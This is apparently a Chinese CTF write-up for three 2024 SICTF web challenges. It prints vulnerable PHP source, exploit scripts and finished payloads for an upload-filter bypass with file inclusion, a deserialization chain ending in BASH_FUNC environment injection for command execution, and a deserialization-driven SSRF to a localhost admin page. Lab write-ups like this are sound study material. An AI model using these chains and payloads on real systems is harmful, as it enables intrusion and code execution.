DHCP
DHCP
Published on 2024-02-19 / 114 Visits
0
0

2024 SICTF Round#3 WEB WP

2024 SICTF Round#3 WEB WP

100%_upload

小茂夫说:一直上传恶意文件尊嘟要生气了,世事莫固守,转变思路求突破
打开界面随便上传一个一句话木马名为cc.jpg后抓包发现不行经过粗略的fuzz发现过滤php那么重新编写一句话为回显上传成功
又经过观察发现文件上传的url有一些特殊改成index.php发现有提示经测试是任意文件包含
那么就可以包含我们上传的cc.png作为php代码执行了最后得到flag

那么有人要问了,既然flag再根目录并且名字就交flag为什么不直接使用目录穿越或伪协议进行读取经测试发现只要file参数里带有flag字样就会被检测,所以直接读取的方法行不通
当然我们打开源码也能看得到:

//Index.php的源码
<?php
	if(isset($_GET['file'])){
		$file = $_GET['file'];
		if(preg_match("/flag/i", $file)){
			die("我知道你知道了文件位置,但请不要直接获取它");
		}
		if(stripos($file, "index.php") === false){
			include "$file";
		}
		else{
			die("请不要自包含");
		}
	}
	else{
		header("Location: index.php?file=upload.php");
	}
?>

//upload.php的源码
<?php
	if(isset($_FILES['upfile'])){
		$uploaddir = 'uploads/';
		$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
		$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);

		$text = file_get_contents($_FILES['upfile']['tmp_name']);


		echo $ext;

		if (!preg_match("/ph.|htaccess/i", $ext)){

			if(preg_match("/<\?php/i", $text)){
				echo "茂夫说:你的文件内容不太对劲哦<br>";
			}
			else{
				move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
				echo "上传成功<br>路径为:" . $uploadfile . "<br>";
			}
		} 
		else {
			echo "恶意后缀哦<br>";
			
		}
	}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传文件</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-image: url('100.jpg');
            background-size: cover;
            background-position: center;
        }

        .container {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }

        form {
            background-color: rgba(255, 255, 255, 0.8);
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }

        input[type="file"] {
            margin-bottom: 10px;
        }

        input[type="submit"] {
            background-color: #007bff;
            color: #fff;
            padding: 10px 15px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        input[type="submit"]:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <div class="container">
        <form action="upload.php" method="POST" enctype="multipart/form-data">
            <p>请不要上传php脚本哈,不然我们可爱的茂夫要生气啦</p>
            <input type="file" name="upfile" value="" />
            <br>
            <input type="submit" name="submit" value="提交" />
        </form>
    </div>
</body>
</html>

Not just unserialize

看似平平无奇的反序列化题,出题人却在dockerfile里添加了这样一行奇怪命令:RUN ln -sf /bin/bash /bin/sh……
打开题目发现是php反序列化:

<?php 

highlight_file(__FILE__); 
class start 
{ 
    public $welcome; 
    public $you; 
    public function __destruct() 
    { 
        $this->begin0fweb(); 
    } 
    public  function begin0fweb() 
    { 
        $p='hacker!'; 
        $this->welcome->you = $p; 
    } 
} 

class SE{ 
    public $year; 
    public function __set($name, $value){ 
        echo '  Welcome to new year!  '; 
        echo($this->year); 
    } 
} 

class CR { 
    public $last; 
    public $newyear; 

    public function __tostring() { 

        if (is_array($this->newyear)) { 
            echo 'nonono'; 
            return false; 
        } 
        if (!preg_match('/worries/i',$this->newyear)) 
        { 
            echo "empty it!"; 
            return 0; 
        } 

        if(preg_match('/^.*(worries).*$/',$this->newyear)) { 
            echo 'Don\'t be worry'; 
        } else { 
            echo 'Worries doesn\'t exists in the new year  '; 
            empty($this->last->worries); 
        } 
        return false; 
    } 
} 

class ET{ 

    public function __isset($name) 
    { 
        foreach ($_GET['get'] as $inject => $rce){ 
            putenv("{$inject}={$rce}"); 
        } 
        system("echo \"Haven't you get the secret?\""); 
    } 
} 
if(isset($_REQUEST['go'])){ 
    unserialize(base64_decode($_REQUEST['go'])); 
} 
?>

exp:

 <?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
		echo 111;
        $this->begin0fweb();
		
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
		echo 222;
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {
        echo 333;
        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
			echo 444;
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {echo 555;
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
$a= new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->newyear='WORRIES';
$a->welcome->year->last=new ET();
echo base64_encode(serialize($a));
?> 

得到payload:

Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXT1JSSUVTIjt9fXM6MzoieW91IjtOO30=

然后到达类ET:

class ET{
    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}

通过putenv("{inject}={rce}");发现是环境变量注入,根据文章:
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
https://tttang.com/archive/1450/#toc_0x05
https://www.cnblogs.com/h0cksr/p/16189733.html
可得最终的payload为:

GET: ?get[BASH_FUNC_echo%25%25]=() { cat /ffffllllllaaaaaaaaaaaaaaaaaaggggg; }
POST:go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXT1JSSUVTIjt9fXM6MzoieW91IjtOO30=

得到flag

EZ_SSRF

送你们点分,flag位于/flag哦~
源码:

<?php 
highlight_file(__file__); 
error_reporting(0); 
function get($url) { 
    $curl = curl_init(); 
    curl_setopt($curl, CURLOPT_URL, $url); 
    curl_setopt($curl, CURLOPT_HEADER, 0); 
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
    $data = curl_exec($curl); 
    curl_close($curl); 
    echo base64_encode($data); 
    return $data; 
} 
class client{ 
    public $url; 
    public $payload; 
    public function __construct() 
    { 
        $url = "http://127.0.0.1/"; 
        $payload = "system(\"cat /flag\");"; 
        echo "Exploit"; 
    } 
    public function __destruct() 
    { 
        get($this->url); 
    } 
} 
// hint:hide other file 
if(isset($_GET['Harder'])) { 
    unserialize($_GET['Harder']); 
} else { 
    echo "You don't know how to pass parameters?"; 
} 
?> 

这一题猛一看还以为是redis-ssrf(前一段时间刚做过)根据题目的名字名字也能对应上,结果发现自己错了
先把反序列化给打好:
Exp:

 <?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
	echo $url;
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($curl);
    curl_close($curl);
    echo base64_encode($data);
    return $data;
}
class client{
	public $url;
    public $payload;
    public function __construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    } 
    public function __destruct()
    {	
        get($this->url);
    }
}
// hint:hide other file
$a=new client();
$a->url="..........";
echo serialize($a);
?>

得到payload

O:6:"client":2:{s:3:"url";s:10:"..........";s:7:"payload";N;}

这里的url变量先空着
根据hint可知有隐藏的其他文件,通过目录扫描发现有一个admin.php

访问一下:
得到admin.php源码

<?php 
error_reporting(0); 
include "flag.php"; 
highlight_file(__FILE__); 
$allowed_ip = "127.0.0.1"; 
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) { 
    die("You can't get flag"); 
} else { 
    echo $flag; 
} 
?> 

阅读发现需要服务器本身访问admin.php才能执行打印flag,那么就可以使用index.php中的get函数来让服务器访问自己的admin.php来实现打印flag,这就是这一题名为ssrf的原因
"http://127.0.0.1/admin.php" 赋值给exp中的url变量得到最终的payload:

O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}



传入后解码得到flag


Comment